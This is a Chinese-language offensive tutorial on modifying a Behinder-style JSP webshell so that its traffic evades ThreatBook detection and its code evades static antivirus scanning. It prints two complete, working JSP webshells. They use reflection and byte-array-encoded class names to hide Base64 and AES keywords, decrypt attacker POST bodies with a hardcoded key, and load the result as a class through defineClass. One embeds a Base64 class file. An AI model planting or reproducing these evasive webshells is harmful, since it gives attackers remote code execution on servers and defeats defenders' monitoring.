0x00 实战问题

  • 猜测微步流量检测的实现原理
img

需要解决的问题:

  1. 请求体的数据传递方式 需要对webshell进行修改,为适配不做修改 (未实现)

*原*:AES+Base64

*改*:AES+Base64 嵌入到 正常 的数据包中,伪造数据包

  1. 返回体的数据传输方式

*原*:AES

*改*:AES+Base64+拼接字符串头 潜入到正常数据包中,伪造json数据包

  1. 避免数据包格式单一,被安全设备捕捉特征

0x02 数据传输

  • 请求参数:参数传递修改为伪造Json格式 (未实现,需要修改webshell,现有所有工具都为原版)
{Encoded: "asdasdasdas"}

复制代码
  • 返回包参数:接受参数时,伪造为加密json
{ Result: "daddasdadasda" }

复制代码

0x02 代码实现

原版返回数据为AES加密数据流,未进行Base64,我们构造成base64+随机数据

img

数据解码时增加解码步骤:

img
  • 客户端数据包处理过程
img
  • 修改功能函数,返回数据类型,所有都要修改
img
  • 修改Utils取数据时的方法,客户端只取我们需要的数据, 测试发现有些容器有些问题,修改为通用方式
img
img

0x03 静态查杀绕过

  • 通过不断注释原版webshell代码,定位到主要原因为base64解码和数据包加解密关键字/do.final问题

通过反射重新实现加密逻辑,将关键字通过byte[]进行绕过,所有关键字通过反射加载实现

base通过反射+byte[] 兼容各版本jdk,避免高低版本解码问题

<%!class U extends ClassLoader{U(ClassLoader c)
{super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}
    public static byte[] s(String bs) throws Exception {
        byte[] value = null;
        Class a;
        try {
            a = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 66, 97, 115, 101, 54, 52}));
            Object b = a.getMethod(new String(new byte[]{103, 101, 116, 68, 101, 99, 111, 100, 101, 114}), (Class[])null).invoke(a, (Object[])null);
            value = (byte[]) b.getClass().getMethod(new String(new byte[]{100, 101, 99, 111, 100, 101}), String.class).invoke(b, bs);
        } catch (Exception var6) {
            try {
                a = Class.forName(new String(new byte[]{}));
                Object c = a.newInstance();
                value = (byte[]) c.getClass().getMethod(new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114}), String.class).invoke(c, bs);
            } catch (Exception var5) {
            }
      }
        return value;
    }
%>
<%if (request.getMethod().equals("POST"))
    {
        String json ="e45e329feb5d925b";
        session.putValue("u",json);
        String xo = new String(new byte[]{106, 97, 118, 97, 120, 46, 99, 114, 121, 112, 116, 111, 46, 67, 105, 112, 104, 101, 114});
        Class ci = Class.forName(xo);
        java.lang.reflect.Method g = ci.getMethod(new String(new byte[]{103, 101, 116, 73, 110, 115, 116, 97, 110, 99, 101}), String.class);
        Object c = ci.cast(g.invoke((null),new String(new byte[]{65, 69, 83})));
        ci.getMethod(new String(new byte[]{105, 110, 105, 116}),int.class,java.security.Key.class).invoke(c,2,new javax.crypto.spec.SecretKeySpec(json.getBytes(),new String(new byte[]{65, 69, 83})));
        try {
            String ok = request.getReader().readLine();
            byte [] x = (byte[]) c.getClass().getMethod(new String(new byte[]{100, 111, 70, 105, 110, 97, 108}),byte[].class).invoke(c,s(ok));
            ClassLoader sb = this.getClass().getClassLoader();
            new U(sb).g(x).newInstance().equals(pageContext);
        } catch (Exception e) {
            out.print(e.toString());
        }
    }
%>
  • 实战环境原版jsp编译为class时,存在各种问题,我们通过类加载definclass的方式对webshell逻辑进行修改

通过javassist进行生成字节码,后续直接反射调用即可

  • webshell逻辑不变
img
  • javassist生成字节码base64
img
  • jsp实现逻辑:
img
<%@page import="java.util.*"%>

<%!class U extends ClassLoader{U(ClassLoader c){super(c);}

    public Class g(byte []b){return super.defineClass(b,0,b.length);}}

    public static byte[] s(String bs) throws Exception {

        byte[] value = null;

        Class a;

        try {

            a = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 66, 97, 115, 101, 54, 52}));

            Object b = a.getMethod(new String(new byte[]{103, 101, 116, 68, 101, 99, 111, 100, 101, 114}), (Class[])null).invoke(a, (Object[])null);

            value = (byte[]) b.getClass().getMethod(new String(new byte[]{100, 101, 99, 111, 100, 101}), String.class).invoke(b, bs);

        } catch (Exception var6) {

            try {

                a = Class.forName(new String(new byte[]{}));

                Object c = a.newInstance();

                value = (byte[]) c.getClass().getMethod(new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114}), String.class).invoke(c, bs);

            } catch (Exception var5) {

            }

        }

        return value;

    }

%>

<%if (request.getMethod().equals("POST")){

    String data ="yv66vgAAADQAhAcASwoAAQBMCgAJAE0HAE4KAAkATwcAUAoAUQBSCgAKAFMHAFQHAFUHAC8HAFYKAAkAVwoAGwBYCgAbAFkKABsAWgcAWwoAEQBcCABdCgBeAF8HAGAKAAEAYQoAFQBiCgBeAGMKABoAZAcAZQcAZgoAGgBYCgBeAGcKABoAaAoACgBpAQABcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABYgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWEBABFMamF2YS9sYW5nL0NsYXNzOwEAAWMBAAR2YXI2AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBABJMamF2YS9sYW5nL1N0cmluZzsBAAV2YWx1ZQEAAltCAQANU3RhY2tNYXBUYWJsZQcASwcAVgEACkV4Y2VwdGlvbnMBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABHRoaXMBAAhMY29uZmlnOwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQADKClWAQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnR0AQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQABawEAAXABAAtwYWdlQ29udGV4dAEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAAXgBAAFlAQADb2JqAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAKU291cmNlRmlsZQEAC2NvbmZpZy5qYXZhAQAQamF2YS9sYW5nL1N0cmluZwwANABqDABrAGwBABJbTGphdmEvbGFuZy9DbGFzczsMAG0AbgEAE1tMamF2YS9sYW5nL09iamVjdDsHAG8MAHAAcQwAcgBzAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAHQAdQwANAA1DAA0ADkMAHYAdwEAE2phdmEvdXRpbC9BcnJheUxpc3QMAHgAeQEAA0FFUwcAegwAewB8AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAfQB+DAA0AH8MAIAAgQwAIAAhAQAGY29uZmlnAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyDACCAIMMADoAOwwAPAA9AQAFKFtCKVYBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAA2dldAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCACEAGgAbAAAAAAAFAAkAIAAhAAIAIgAAAmsABwAFAAABmgFMuwABWRAQvAhZAxBqVFkEEGFUWQUQdlRZBhBhVFkHEC5UWQgQdVRZEAYQdFRZEAcQaVRZEAgQbFRZEAkQLlRZEAoQQlRZEAsQYVRZEAwQc1RZEA0QZVRZEA4QNlRZEA8QNFS3AAK4AANNLLsAAVkQCrwIWQMQZ1RZBBBlVFkFEHRUWQYQRFRZBxBlVFkIEGNUWRAGEG9UWRAHEGRUWRAIEGVUWRAJEHJUtwACAcAABLYABSwBwAAGtgAHTi22AAi7AAFZEAa8CFkDEGRUWQQQZVRZBRBjVFkGEG9UWQcQZFRZCBBlVLcAAgS9AAlZAxIBU7YABS0EvQAKWQMqU7YAB8AAC8AAC0ynAI9OuwABWQO8CLcAArgAA00stgANOgQZBLYACLsAAVkQDLwIWQMQZFRZBBBlVFkFEGNUWQYQb1RZBxBkVFkIEGVUWRAGEEJUWRAHEHVUWRAIEGZUWRAJEGZUWRAKEGVUWRALEHJUtwACBL0ACVkDEgFTtgAFGQQEvQAKWQMqU7YAB8AAC8AAC0ynAAU6BCuwAAIAAgEJAQwADAENAZMBlgAMAAMAIwAAADIADAAAAAgAAgALAGsADAC9AA0BCQAVAQwADgENABABGwARASEAEgGTABQBlgATAZgAFgAkAAAASAAHAL0ATAAlACYAAwBrAKEAJwAoAAIBIQByACkAJgAEARsAewAnACgAAgENAIsAKgArAAMAAAGaACwALQAAAAIBmAAuAC8AAQAwAAAAKQAD/wEMAAIHADEHAAsAAQcAMv8AiQAEBwAxBwALAAcAMgABBwAy+QABADMAAAAEAAEADAABADQANQABACIAAAA6AAIAAgAAAAYqK7cADrEAAAACACMAAAAGAAEAAAAYACQAAAAWAAIAAAAGADYANwAAAAAABgApADgAAQABADQAOQABACIAAAAvAAEAAQAAAAUqtwAPsQAAAAIAIwAAAAYAAQAAABkAJAAAAAwAAQAAAAUANgA3AAAAAQA6ADsAAQAiAAAAPQAEAAIAAAAJKisDK763ABCwAAAAAgAjAAAABgABAAAAGwAkAAAAFgACAAAACQA2ADcAAAAAAAkAJQAvAAEAAQA8AD0AAQAiAAABPAAGAAgAAABtK8AAEU0sA7YAEsAAAU4sBLYAEsAAAToELAW2ABI6BRITuAAUOgYZBgW7ABVZLbYAFhITtwAXtgAYGQS4ABk6B7sAGlksBrYAEsAAG7cAHBkGGQe2AB22AB62AA0sBbYAErYAH1enAAZNA6wErAABAAAAZQBoAAwABAAjAAAAMgAMAAAAIAAFACEADgAiABgAIwAfACQAJgAlADkAJgBAACcAZQAqAGgAKABpACkAawArACQAAABcAAkABQBgAD4APwACAA4AVwBAAC0AAwAYAE0AQQAtAAQAHwBGAEIAJgAFACYAPwApAEMABgBAACUARAAvAAcAaQACAEUAKwACAAAAbQA2ADcAAAAAAG0ARgAmAAEARwAAAAwAAQAFAGAAPgBIAAIAMAAAAAkAAvcAaAcAMgIAAQBJAAAAAgBK";

    String k ="e45e329feb5d925b";

    session.putValue("u",k);

    String p=request.getReader().readLine();

    ArrayList<Object> t = new ArrayList<Object>();

    t.add(k); // 传入解密的key

    t.add(p); // 传入请求数据包

    t.add(pageContext); // 传入pageContext对象

    t.add(this.getClass().getClassLoader()); // 对应的classLoader

    new U(this.getClass().getClassLoader()).g(s(data)).newInstance().equals(t);}

    //out.print("It Works!");

%>

0x04 实现效果

  • 返回包实现效果:
img